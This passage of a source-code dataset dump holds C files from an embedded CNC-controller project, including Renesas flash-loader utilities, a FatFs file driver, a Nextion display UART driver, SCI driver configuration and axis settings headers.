to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_utilities.c\n* Version : 3.00\n* Description : Contains functions for FlashLoader use such as CRC and Reset\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 21.09.2011 2.01 Fixed calculation for timer register in \n* fl_start_timer.\n* : 23.02.2012 3.00 Removed 'LOWEST_ROM_ADDRESS' macro. Instead \n* getting this info from Flash API. Made code\n* compliant with CS v4.0. Removed code to start\n* state machine timer because it is now the users\n* responsibility to call the state machine. Added\n* R_FL_GetVersion() function to this file.\n******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Used for offsetof() */\n#include <stddef.h>\n/* Flash Loader project includes. */\n#include \"r_fl_includes.h\"\n/* Used to get ROM_SIZE_BYTES which is in mcu_info.h and for LCD API. */\n#include \"platform.h\"\n/* Uses r_crc_rx package for CRC calculations. */\n#include \"r_crc_rx_if.h\"\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Bottom of User Flash Area */\n#define ROM_START_ADDRESS (0x100000000-BSP_ROM_SIZE_BYTES)\n\n/******************************************************************************\n* Function Name: fl_check_application\n* Description : Does a CRC on MCU flash to make sure current image is valid\n* Arguments : none\n* Return value : CRC16-CCITT value of image in MCU flash\n******************************************************************************/\nuint16_t fl_check_application(void)\n{\n uint32_t start_address;\n uint16_t calc_crc;\n \n /* Get lowest flash address. ROM_PE_ADDR is the lowest address with the \n MSB set to 0x00. To get the read address just make the MSB 0xFF. */\n start_address = ROM_START_ADDRESS;\n \n /* Calculate CRC up to the location where the linker put the CRC value */\n R_CRC_Compute( RX_LINKER_SEED, \n (uint8_t *) start_address,\n ((uint32_t)__sectop(\"APPHEADER_1\")) + \\\n offsetof(fl_image_header_t, raw_crc) - \\\n start_address,\n &calc_crc);\n\n /* Move start_address to right after 'raw_crc' */ \n start_address = ((uint32_t)__sectop(\"APPHEADER_1\")) + \\\n offsetof(fl_image_header_t, raw_crc) + \\\n sizeof(((fl_image_header_t *) 0)->raw_crc); \n\n /* Calculate the rest of flash after the CRC in memory */\n R_CRC_Compute( calc_crc, \n (uint8_t *) start_address,\n (0xFFFFFFFF - start_address) + 1,\n &calc_crc); \n\n /* The RX linker does a bitwise NOT on the data after the \n CRC has finished */\n calc_crc = (uint16_t)(~calc_crc);\n \n return calc_crc; \n}\n/******************************************************************************\nEnd of function fl_check_application\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_reset\n* Description : Performs internal reset on the MCU. WDT is used in examples\n* below.\n* Arguments : none\n* Return value : none\n******************************************************************************/\nvoid fl_reset(void)\n{ \n#if defined(BSP_MCU_RX61_ALL) || defined(BSP_MCU_RX62_ALL)\n\n /* Setup WDT so that it will cause internal reset */\n /* Count using PCLK/4, use in Watchdog timer mode */ \n /* Write to TCSR through WINA register */\n WDT.WRITE.WINA = 0xA540; \n \n /* Cause reset when watchdog overflows */\n /* Write to RSTE bit through WINB register */\n WDT.WRITE.WINB = 0x5A5F; \n \n /* Start WDT */\n /* Write to TCSR through WINA register */\n WDT.WRITE.WINA = 0xA560; \n\n#elif defined(BSP_MCU_RX21_ALL) || defined(BSP_MCU_RX63_ALL)\n\n /* Setup WDT so that it will reset MCU as quickly as possible. */\n /* Reset on expiration of WDT. */\n WDT.WDTRCR.BYTE = 0x80;\n\n /* Choose PCLK/4 and 1,024 cycles. */\n WDT.WDTCR.WORD = 0x0010;\n\n /* Start WDT counting. This is done by writing 0x00 and then 0xFF. */\n WDT.WDTRR = 0x00;\n WDT.WDTRR = 0xFF;\n\n#else\n #error \"Error! Add code to fl_reset() in r_fl_utilities.c for your MCU.\"\n#endif\n \n while(1) \n {\n /* Wait for WDT reset */\n }\n}\n/******************************************************************************\nEnd of function fl_reset\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_signal\n* Description : Signal to outside world that no valid image is in MCU, only\n* the FL Downloader state machine is running.\n* Arguments : none\n* Return value : none\n******************************************************************************/\nvoid fl_signal(void)\n{\n#if defined(BSP_BOARD_RSKRX62N) || defined(BSP_BOARD_RSKRX63N) || \\\n defined(BSP_BOARD_RSKRX630) || defined(BSP_BOARD_RSKRX62T) || \\\n defined(BSP_BOARD_RSKRX210) \n LED0 = LED_ON;\n LED1 = LED_ON;\n LED2 = LED_ON;\n LED3 = LED_ON;\n#elif defined(BSP_BOARD_RDKRX62N) || defined(BSP_BOARD_RDKRX63N)\n /* The Glyph lib used for the LCD on the RDK will not fit in the 16KB\n User Boot area so we are just turning on LEDs. */\n LED4 = LED_ON;\n LED5 = LED_ON;\n LED6 = LED_ON;\n LED7 = LED_ON;\n#else\n\n#endif \n}\n/******************************************************************************\nEnd of function fl_signal\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: fl_check_bootloader_bypass\n* Description : Checks to see if the user is requesting that the Bootloader\n* bypass normal load image and application checking and wants\n* to just wait for a new load image.\n* Arguments : none\n* Return value : true - \n* Bypass is requested\n* false - \n* Bypass is not requested\n******************************************************************************/\nbool fl_check_bootloader_bypass(void)\n{\n /* Bypass is not requested */\n return false;\n}\n/******************************************************************************\nEnd of function fl_check_bootloader_bypass\n******************************************************************************/\n\n/******************************************************************************\n* Function Name: R_FL_GetVersion\n* Description : Returns the current version of this module. The version number\n* is encoded where the top 2 bytes are the major version number \n* and the bottom 2 bytes are the minor version number. For \n* example, Version 4.25 would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n******************************************************************************/\n#pragma inline(R_FL_GetVersion)\nuint32_t R_FL_GetVersion (void)\n{\n /* These version macros are defined in r_flash_loader_rx_if.h. */\n return ((((uint32_t)FLASH_LOADER_RX_VERSION_MAJOR) << 16) | (uint32_t)FLASH_LOADER_RX_VERSION_MINOR);\n}\n/******************************************************************************\nEnd of function R_FL_GetVersion\n******************************************************************************/\n\n\n" }, { "alpha_fraction": 0.6057194471359253, "alphanum_fraction": 0.6124746799468994, "avg_line_length": 28.606666564941406, "blob_id": "3fb4a7af319d3110e6ffd4c4525e6c147ab4fd72", "content_id": "53a875422d13620eb082bc35164d3af0aba5fa31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4441, "license_type": "no_license", "max_line_length": 91, "num_lines": 150, "path": "/src/cnc/xio/xio_FsFat.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio_file.c\t- device driver for program memory \"files\"\n * \t\t\t\t- works with avr-gcc stdio library\n *\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"macros.h\"\n\n#include <stdio.h>\t\t\t\t// precursor for xio.h\n#include <stdbool.h>\t\t\t// true and false\n#include <string.h>\t\t\t\t// for memset\n#include <stdint.h>\t\t\t\t//\n//#include \"platform.h\"\n#include \"xio.h\"\n#include \"ut_state.h\"\n\n/******************************************************************************\n * FILE CONFIGURATION RECORDS\n ******************************************************************************/\n\nstatic bool fileRunning = false;\nextern uint32_t actualLine;\nextern uint32_t previousLine;\nextern uint32_t choosedLine;\nextern uint32_t choosedLinePosition;\n\nxioFsfat_t\t ufsfat[XIO_DEV_USBFILE_COUNT];\n\nstruct cfgFILE {\n\tx_open_t x_open;\t\t\t// see xio.h for typedefs\n\tx_ctrl_t x_ctrl;\n\tx_close_t x_close;\n\tx_gets_t x_gets;\n\tx_getc_t x_getc;\n\tx_putc_t x_putc;\n\tx_flow_t x_flow;\n};\n\nstatic struct cfgFILE const cfgFile[] = {\n{\t// PGM config\n\txio_open_file,\t\t\t\t// open function\n\txio_ctrl_generic, \t\t\t// ctrl function\n\txio_close_fsfat, \t\t\t// close function\n\txio_gets_fsfat,\t\t\t\t// get string function\n\txio_getc_fsfat,\t\t\t\t// stdio getc function\n\txio_putc_fsfat,\t\t\t\t// stdio putc function\n\txio_fc_null,\t\t\t\t// flow control callback\n}\n};\n/******************************************************************************\n * FUNCTIONS\n ******************************************************************************/\n\n/*\n *\txio_init_file() - initialize and set controls for file IO\n *\n *\tNeed to bind the open function or a subsequent opens will fail\n */\n\nvoid xio_init_fsfat()\n{\n\tfor (uint8_t i=0; i<XIO_DEV_USBFILE_COUNT; i++) {\n\t\txio_open_generic(XIO_DEV_USBFILE_OFFSET + i,\n\t\t\t\t\t\t(x_open_t)(cfgFile[i].x_open),\n\t\t\t\t\t\t(x_ctrl_t)(cfgFile[i].x_ctrl),\n\t\t\t\t\t\t(x_close_t)(cfgFile[i].x_close),\n\t\t\t\t\t\t(x_gets_t)(cfgFile[i].x_gets),\n\t\t\t\t\t\t(x_getc_t)(cfgFile[i].x_getc),\n\t\t\t\t\t\t(x_putc_t)(cfgFile[i].x_putc),\n\t\t\t\t\t\t(x_flow_t)(cfgFile[i].x_flow));\n\t}\n}\n\n/*\n *\txio_open_file() - open the program memory device to a specific string address\n *\n *\tOK, so this is not really a UNIX open() except for its moral equivalent\n * Returns a pointer to the stdio FILE struct or -1 on error\n */\nFILE * xio_open_file(const uint8_t dev, const char *addr, const flags_t flags)\n{\n\txioDev_t *d = (xioDev_t *)&ds[dev];\n\td->x = &ufsfat[dev - XIO_DEV_USBFILE_OFFSET];\t\t\t// bind extended struct to device\n\txioFsfat_t *dx = (xioFsfat_t *)d->x;\n\n\tf_mount(&dx->gFatfs,\"\",0);\n\tf_close(&dx->f);\n /* Open a text file */\n f_open(&dx->f, gszCurFile, FA_READ);\n if (choosedLinePosition > 0)\n {\n f_lseek(&dx->f,choosedLinePosition);\n macro_func_ptr = RunningInicial_Macro;\n choosedLinePosition = 0;\n choosedLine = 0;\n }\n fileRunning = true;\n\treturn(&d->file);\t\t\t\t\t\t\t\t// return pointer to the FILE stream\n}\n\nint xio_gets_fsfat(xioDev_t *d, char *buf, const int size)\n{\n\txioFsfat_t *dx = (xioFsfat_t *)d->x;\n\tif (fileRunning)\n\t{\n\t\td->signal = XIO_SIG_OK;\t\t\t// initialize signal\n\t\tif (f_gets(buf, size, &dx->f) == NULL) {\n\t\t\tclearerr(&d->file);\n\t\t\tfileRunning = false;\n\t\t\treturn (XIO_EOF);\n\t\t}\n\t\tpreviousLine = actualLine;\n\t\tactualLine = dx->f.fptr;\n\t\tprintf(buf);\n\t\treturn(XIO_OK);\n\t}\n\treturn(XIO_EAGAIN);\n}\n\nvoid xio_close_fsfat (xioDev_t *d)\n{\n\txioFsfat_t *dx = (xioFsfat_t *)d->x;\n\tf_close(&dx->f);\n}\n\nint xio_getc_fsfat(FILE *stream)\n{\n\treturn(0);\n}\n\nint xio_putc_fsfat(const char c, FILE *stream)\n{\n\treturn(-1);\n}\n" }, { "alpha_fraction": 0.583967387676239, "alphanum_fraction": 0.626630425453186, "avg_line_length": 25.092199325561523, "blob_id": "3b5865ea3210f4a820fa1539d87a6ea15031886c", "content_id": "6db40f426f01e31f72de77751b51d32638ad91f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3680, "license_type": "no_license", "max_line_length": 124, "num_lines": 141, "path": "/src/Nextion/nextion.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * nextion.c\n *\n * Created on: Feb 28, 2017\n * Author: LAfonso01\n */\n#include <string.h>\n#include <stdio.h>\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"semphr.h\"\n#include \"platform.h\"\n#include \"r_sci_async_rx_if.h\"\n#include \"nextion.h\"\n\nSemaphoreHandle_t xSemSCI;\n\n#define NEX_RET_CMD_FINISHED (0x01)\n#define NEX_RET_EVENT_LAUNCHED (0x88)\n#define NEX_RET_EVENT_UPGRADED (0x89)\n#define NEX_RET_EVENT_TOUCH_HEAD (0x65)\n#define NEX_RET_EVENT_POSITION_HEAD (0x67)\n#define NEX_RET_EVENT_SLEEP_POSITION_HEAD (0x68)\n#define NEX_RET_CURRENT_PAGE_ID_HEAD (0x66)\n#define NEX_RET_STRING_HEAD (0x70)\n#define NEX_RET_NUMBER_HEAD (0x71)\n#define NEX_RET_INVALID_CMD (0x00)\n#define NEX_RET_INVALID_COMPONENT_ID (0x02)\n#define NEX_RET_INVALID_PAGE_ID (0x03)\n#define NEX_RET_INVALID_PICTURE_ID (0x04)\n#define NEX_RET_INVALID_FONT_ID (0x05)\n#define NEX_RET_INVALID_BAUD (0x11)\n#define NEX_RET_INVALID_VARIABLE (0x1A)\n#define NEX_RET_INVALID_OPERATION (0x1B)\n\n#define NEX_RECEIVED_BYTES (0x4)\n\n\nconst sci_uart_t config = {\n\t .baud_rate = 9600, // ie 9600, 19200, 115200\n\t\t.clk_src = SCI_CLK_INT,\n\t\t.data_size = SCI_DATA_8BIT,\n\t\t.parity_en = SCI_PARITY_OFF,\n\t\t.parity_type = SCI_EVEN_PARITY,\n\t\t.stop_bits =SCI_STOPBITS_1,\n\t .int_priority = 4, // txi, tei, rxi INT priority; 1=low, 15=high\n};\n\nsci_hdl_t console;\nuint8_t rx_bytes_size = 0;\n\nvoid sci9_callback(void *p_args)\n{\n\tstatic uint8_t rx_bytes_received = 0;\n\tBaseType_t xHigherPriorityTaskWoken;\n\tsci_cb_args_t *args;\n\targs = (sci_cb_args_t *)p_args;\n\tif (args->event == SCI_EVT_RX_CHAR)\n\t{\n\n\t\trx_bytes_received++;\n\t\tif (rx_bytes_received == NEX_RECEIVED_BYTES)\n\t\t{\n\t\t\txSemaphoreGiveFromISR( xSemSCI, &xHigherPriorityTaskWoken );\n\t\t\trx_bytes_received = 0;\n\t\t}\n\t}\n}\n\nvoid sendCommand(const char* cmd)\n{\n\tuint8_t p = 0xFF;\n// while (nexSerial.available())\n// {\n// nexSerial.read();\n// }\n\tR_SCI_Send(console,cmd,strlen(cmd));\n\tR_SCI_Send(console,&p,1);\n\tR_SCI_Send(console,&p,1);\n\tR_SCI_Send(console,&p,1);\n}\n\nbool recvRetCommandFinished(uint32_t timeout)\n{\n\tuint32_t lRet = pdFALSE;\n bool ret = false;\n uint8_t temp[4] = {0};\n R_SCI_Receive(console, temp, sizeof(temp));\n lRet = xSemaphoreTake(xSemSCI,timeout);\n if(lRet == true)\n {\n if (temp[0] == NEX_RET_CMD_FINISHED\n && temp[1] == 0xFF\n && temp[2] == 0xFF\n && temp[3] == 0xFF\n )\n {\n ret = true;\n }\n }\n return ret;\n}\n\n\nbool nexInit(void)\n{\n bool ret1 = false;\n xSemSCI = xSemaphoreCreateBinary();\n\tR_SCI_Open(SCI_CH9,SCI_MODE_ASYNC,(void *)&config,sci9_callback,&console);\n sendCommand(\"\");\n sendCommand(\"bkcmd=1\");\n recvRetCommandFinished(100);\n sendCommand(\"page 0\");\n ret1 = recvRetCommandFinished(100);\n return ret1;\n}\n\nbool NexPage_Show(const char *name)\n{\n\tchar cmd[20];\n\tsnprintf(cmd,sizeof(cmd),\"page %s\",name);\n sendCommand(cmd);\n return recvRetCommandFinished(100);\n}\n\nbool NexPage_Picture(uint16_t x,uint16_t y,nt_img_t img_number)\n{\n\tchar cmd[20];\n\tsnprintf(cmd,sizeof(cmd),\"pic %d,%d,%d\",x,y,img_number);\n sendCommand(cmd);\n return recvRetCommandFinished(100);\n}\n\nbool NexPage_Str(uint16_t x,uint16_t y,uint16_t w,uint16_t h, uint8_t fontID, uint16_t fcolor,uint16_t bcolor,\n\t\tuint8_t xcenter,uint8_t ycenter, uint8_t sta, const char *str)\n{\n\tchar cmd[60];\n\tsnprintf(cmd,sizeof(cmd),\"xstr %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,\\\"%s\\\"\",x,y,w,h,fontID,fcolor,bcolor,xcenter,ycenter,sta,str);\n sendCommand(cmd);\n return recvRetCommandFinished(100);\n}\n\n" }, { "alpha_fraction": 0.5762190222740173, "alphanum_fraction": 0.6208275556564331, "avg_line_length": 53.630252838134766, "blob_id": "c2fae2625f58e1b7db74d9d65ebc126b58443184", "content_id": "27d3b68003f10d0881f179e8f5ba02772a24a458", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6501, "license_type": "no_license", "max_line_length": 120, "num_lines": 119, "path": "/r_config/r_sci_rx_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_sci_rx_config.h\n* Description : Configures the SCI driver\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* 25.09.2013 1.00 Initial Release\n* 17.04.2014 1.20 Added comments for new RX110 support.\n* 02.07.2014 1.30 Fixed bug that caused Group12 rx errors to only be enabled for channel 2.\n* 25.11.2014 1.40 Added comments for RX113 support\n***********************************************************************************************************************/\n#ifndef SCI_CONFIG_H\n#define SCI_CONFIG_H\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n\n/* SPECIFY WHETHER TO INCLUDE CODE FOR API PARAMETER CHECKING */\n// Setting to BSP_CFG_PARAM_CHECKING_ENABLE utilizes the system default setting\n// Setting to 1 includes parameter checking; 0 compiles out parameter checking\n#define SCI_CFG_PARAM_CHECKING_ENABLE BSP_CFG_PARAM_CHECKING_ENABLE\n\n/* SPECIFY WHETHER TO INCLUDE CODE FOR DIFFERENT SCI MODES */\n// Setting an equate to 1 includes code specific to that mode.\n#define SCI_CFG_ASYNC_INCLUDED (1)\n#define SCI_CFG_SYNC_INCLUDED (0)\n#define SCI_CFG_SSPI_INCLUDED (0)\n\n/* SPECIFY BYTE VALUE TO TRANSMIT WHILE CLOCKING IN DATA IN SSPI MODES */\n#define SCI_CFG_DUMMY_TX_BYTE (0xFF)\n\n/* SPECIFY CHANNELS TO INCLUDE SOFTWARE SUPPORT FOR 1=included, 0=not */\n// NOTE: If using ASYNC mode, adjust BYTEQ_CFG_MAX_CTRL_BLKS in r_byteq_config.h\n// to provide 2 queues per channel (static mode only).\n// * = port connector RDKRX63N, RSKRX210, RSKRX11x\n // mcu supported channels\n#define SCI_CFG_CH0_INCLUDED (0) // RX63N RX210* RX113\n#define SCI_CFG_CH1_INCLUDED (0) // RX63N RX210 RX113* RX110/111*\n#define SCI_CFG_CH2_INCLUDED (1) // RX63N* RX113\n#define SCI_CFG_CH3_INCLUDED (0) // RX63N\n#define SCI_CFG_CH4_INCLUDED (0) // RX63N\n#define SCI_CFG_CH5_INCLUDED (0) // RX63N RX210 RX113 RX110/111\n#define SCI_CFG_CH6_INCLUDED (0) // RX63N RX210 RX113\n#define SCI_CFG_CH7_INCLUDED (0) // RX63N\n#define SCI_CFG_CH8_INCLUDED (0) // RX63N RX210 RX113\n#define SCI_CFG_CH9_INCLUDED (0) // RX63N RX210 RX113\n#define SCI_CFG_CH10_INCLUDED (0) // RX63N\n#define SCI_CFG_CH11_INCLUDED (0) // RX63N\n#define SCI_CFG_CH12_INCLUDED (0) // RX63N RX210 RX113 RX110/111\n\n/* SPECIFY ASYNC MODE TX QUEUE BUFFER SIZES (will not allocate if chan not enabled */\n#define SCI_CFG_CH0_TX_BUFSIZ (80)\n#define SCI_CFG_CH1_TX_BUFSIZ (80)\n#define SCI_CFG_CH2_TX_BUFSIZ (100)\n#define SCI_CFG_CH3_TX_BUFSIZ (80)\n#define SCI_CFG_CH4_TX_BUFSIZ (80)\n#define SCI_CFG_CH5_TX_BUFSIZ (80)\n#define SCI_CFG_CH6_TX_BUFSIZ (80)\n#define SCI_CFG_CH7_TX_BUFSIZ (80)\n#define SCI_CFG_CH8_TX_BUFSIZ (80)\n#define SCI_CFG_CH9_TX_BUFSIZ (80)\n#define SCI_CFG_CH10_TX_BUFSIZ (80)\n#define SCI_CFG_CH11_TX_BUFSIZ (80)\n#define SCI_CFG_CH12_TX_BUFSIZ (80)\n\n/* SPECIFY ASYNC MODE RX QUEUE BUFFER SIZES (will not allocate if chan not enabled */\n#define SCI_CFG_CH0_RX_BUFSIZ (80)\n#define SCI_CFG_CH1_RX_BUFSIZ (80)\n#define SCI_CFG_CH2_RX_BUFSIZ (80)\n#define SCI_CFG_CH3_RX_BUFSIZ (80)\n#define SCI_CFG_CH4_RX_BUFSIZ (80)\n#define SCI_CFG_CH5_RX_BUFSIZ (80)\n#define SCI_CFG_CH6_RX_BUFSIZ (80)\n#define SCI_CFG_CH7_RX_BUFSIZ (80)\n#define SCI_CFG_CH8_RX_BUFSIZ (80)\n#define SCI_CFG_CH9_RX_BUFSIZ (80)\n#define SCI_CFG_CH10_RX_BUFSIZ (80)\n#define SCI_CFG_CH11_RX_BUFSIZ (80)\n#define SCI_CFG_CH12_RX_BUFSIZ (80)\n\n/* \n* ENABLE TRANSMIT END INTERRUPT \n* This interrupt only occurs when the last bit of the last byte of data \n* has been sent and the transmitter has become idle. The interrupt calls\n* the user's callback function specified in R_SCI_Open() and passes it an\n* SCI_EVT_TEI event. A typical use of this feature is to disable an external\n* transceiver to save power. It would then be up to the user's code to \n* re-enable the transceiver before sending again. Not including this feature\n* reduces code space used by the interrupt.\n*/\n#define SCI_CFG_TEI_INCLUDED (0) // 1=included, 0=not\n\n/* \n* SET GROUP12 (RECEIVER ERROR) INTERRUPT PRIORITY; RX63N ONLY\n* This #define sets the priority level for the interrupt that handles \n* receiver overrun, framing, and parity errors for all SCI channels\n* on the RX63N. It is ignored for all other parts.\n*/\n#define SCI_CFG_RXERR_PRIORITY (3) // 1 lowest, 15 highest\n\n#endif /* SCI_ASYNC_CONFIG_H */\n" }, { "alpha_fraction": 0.6079999804496765, "alphanum_fraction": 0.6448888778686523, "avg_line_length": 36.5, "blob_id": "e64f37a043bd7dbc4a48f9ac6290f7eaaad36456", "content_id": "5957f46942e6442591722e1ef76e30323f76bda7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2250, "license_type": "no_license", "max_line_length": 123, "num_lines": 60, "path": "/src/cnc/settings/settings_mobile.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * settings_mobile.h */\n\n/***********************************************************************/\n/**** mobile profile ********************************************/\n/***********************************************************************/\n\n// ***> NOTE: The init message must be a single line with no CRs or LFs\n#define INIT_MESSAGE \"Initializing configs to Shapeoko2 500mm profile\"\n\n#define JUNCTION_DEVIATION_MB\t\t0.2// default value, in mm - smaller is faster\n#define JUNCTION_ACCELERATION_MB\t160000\t// 2 million - centripetal acceleration around corners\n\n// *** motor settings ***\n\n// *** motor settings ***\n#define M1_MOTOR_MAP_MB\t\t\t\tAXIS_Z\n#define M1_TRAVEL_PER_REV_RETA_MB\tCREM_RETA\n#define M1_TRAVEL_PER_REV_HELI_MB\tCREM_HELI\n#define M1_MICROSTEPS_MB\t\t\t64\n#define M1_POLARITY_MB\t\t\t\t0\n\n#define M2_MOTOR_MAP_MB\t\t\t\tAXIS_Y // Y1 - left side of machine\n#define M2_TRAVEL_PER_REV_RETA_MB\tCREM_RETA\n#define M2_TRAVEL_PER_REV_HELI_MB\tCREM_HELI\n#define M2_MICROSTEPS_MB\t\t\t64\n#define M2_POLARITY_MB\t\t\t\t0\n\n#define M3_MOTOR_MAP_MB\t\t\t\tAXIS_X // X2 - right sif of machine\n#define M3_TRAVEL_PER_REV_RETA_MB\tCREM_RETA\n#define M3_TRAVEL_PER_REV_HELI_MB\tCREM_HELI\n#define M3_MICROSTEPS_MB\t\t\t64\n#define M3_POLARITY_MB\t\t\t\t1\n\n#define M4_MOTOR_MAP_MB\t\t\t\tAXIS_X\n#define M4_TRAVEL_PER_REV_RETA_MB\tCREM_RETA\n#define M4_TRAVEL_PER_REV_HELI_MB\tCREM_HELI\n#define M4_MICROSTEPS_MB\t\t\t64\n#define M4_POLARITY_MB\t\t\t\t0\n\n#define Z_STEP_PULSE_MB \t\t\t(M1_TRAVEL_PER_REV_MB*M1_STEP_ANGLE)/(360*M1_MICROSTEPS_MB)\n// *** axis settings ***\n\n// These are relative conservative values for a well-tuned Shapeoko2 or similar XY belt / Z screw machine\n#define X_VELOCITY_MAX_MB\t\t\t5000\n#define X_FEEDRATE_MAX_MB\t\t\tY_VELOCITY_MAX_MB\n#define X_JERK_MAX_MB\t\t\t\t250\n#define X_JUNCTION_DEVIATION_MB\t\tJUNCTION_DEVIATION_MB\n\n#define Y_VELOCITY_MAX_MB\t\t\t5000\n#define Y_FEEDRATE_MAX_MB\t\t\tY_VELOCITY_MAX\n#define Y_JERK_MAX_MB\t\t\t\t250\n#define Y_JUNCTION_DEVIATION_MB\t\tJUNCTION_DEVIATION_MB\n\n\n#define Z_VELOCITY_MAX_MB\t\t\t700\n#define Z_FEEDRATE_MAX_MB\t\t\tZ_VELOCITY_MAX_MB\n // value must be large enough to guarantee return to Zmax during homing\n#define Z_JERK_MAX_MB\t\t\t\t1000\t\t\t\t\t// 50,000,000\n#define Z_JUNCTION_DEVIATION_MB\t\tJUNCTION_DEVIATION_MB\n" }, { "alpha_fraction": 0.4327176809310913, "alphanum_fraction": 0.4429890811443329, "avg_line_length": 42.49180221557617, "blob_id": "cdf1fa20ad7f9c05d6c9794efaa61b1addacd404", "content_id": "2c34cdc90865cd8c3667d37f2b086e8fd12b5cf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10612, "license_type": "no_license", "max_line_length": 120, "num_lines": 244, "path": "/r_usb_basic/src/driver/host/r_usb_hsignal.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hsignal.c\n* Description : Host USB signalling\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include 